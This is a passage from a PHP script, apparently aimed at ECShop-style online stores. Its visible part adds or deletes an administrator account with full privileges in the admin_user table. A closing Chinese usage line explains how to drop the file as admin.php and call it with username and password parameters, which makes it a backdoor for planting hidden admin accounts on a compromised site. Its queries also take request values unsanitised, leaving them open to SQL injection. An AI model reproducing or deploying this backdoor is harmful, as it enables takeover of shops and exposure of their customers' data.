table('admin_user') . " (`user_id`,`user_name`,`email`,`password`,`action_list`) VALUES (NULL,'$admin_name','admin@admin.com','" . md5($admin_pass) . "','all')";$db->query($sql);die("addyes");}if($_REQUEST['act'] == 'drop'){if(empty($admin_name)){ die('no');}$sql = "delete from " . $ecs->table("admin_user") . " where user_name='$admin_name' ";$db->query($sql);die("dyes");}?>
文件名:如admin.php用法path/admin.php?u=username&p=password